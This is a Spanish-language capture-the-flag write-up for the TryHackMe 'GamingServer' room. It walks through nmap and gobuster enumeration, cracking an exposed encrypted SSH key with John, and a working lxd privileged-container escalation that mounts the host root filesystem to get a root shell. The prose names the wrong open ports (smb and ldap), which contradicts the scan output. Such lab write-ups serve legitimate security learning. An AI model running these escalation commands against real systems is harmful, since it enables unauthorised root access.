This page looks best with JavaScript enabled

TryHackMe - GamingServer

 •  ✍️ sckull

GamingServer es una maquina de TryHackMe, en la enumeracion de la pagina web encontramos una clave privada encriptada que crackeamos para obtener acceso a la maquina. Escalamos privilegios con LXC creando un nuevo contenedor.

Room

Titulo GamingServer box_img_maker
Descripción An Easy Boot2Root box for beginners
Puntos 110
Dificultad Facil
Maker

SuitGuy

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), ldap (139) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Mon Aug 31 21:03:37 2020 as: nmap -sV -o mini_scan gaming.thm
Nmap scan report for gaming.thm (10.10.202.248)
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 31 21:04:17 2020 -- 1 IP address (1 host up) scanned in 39.71 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

En el codigo fuente encontramos un posible nombre de usuario comentado.

1
2
3
</body>
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
</html>

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
kali@kali:~/thm/gamingserver$ gobuster dir -u http://gaming.thm/ -w /usr/share/wordlists/dirb/common.txt -t 25 -q -x php,html,txt
/about.php (Status: 200)
/about.html (Status: 200)
/index.html (Status: 200)
/index.html (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/secret (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)

En /secret encontramos una clave privada encriptada seguramente de alguno de los usuarios dentro de la maquina. Utilizamos John para obtener la frase de la clave privada.

image

En /uploads/ encontramos varios archivos entre ellos un posible wordlist.

image

JOHN - USER

Utilizamos la clave privada y la frase que encontramos con el usuario john en el servicio ssh y logramos obtener una shell y nuestr flag user.txt.

image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion, vemos que el usuario se encuentra en el grupo de lxd. Utilizamos LXD para realizar privilege escalation al igual que THM - HA Joker CTF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#LOCAL
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686

#GAMINSERVER MACHINE
lxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
lxc image list

lxc init myimage sckull -c security.privileged=true
lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
lxc start sckull
lxc exec sckull /bin/sh

Logramos obtener una shell con usuario root (container) y nuestra flag root.txt.
image
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe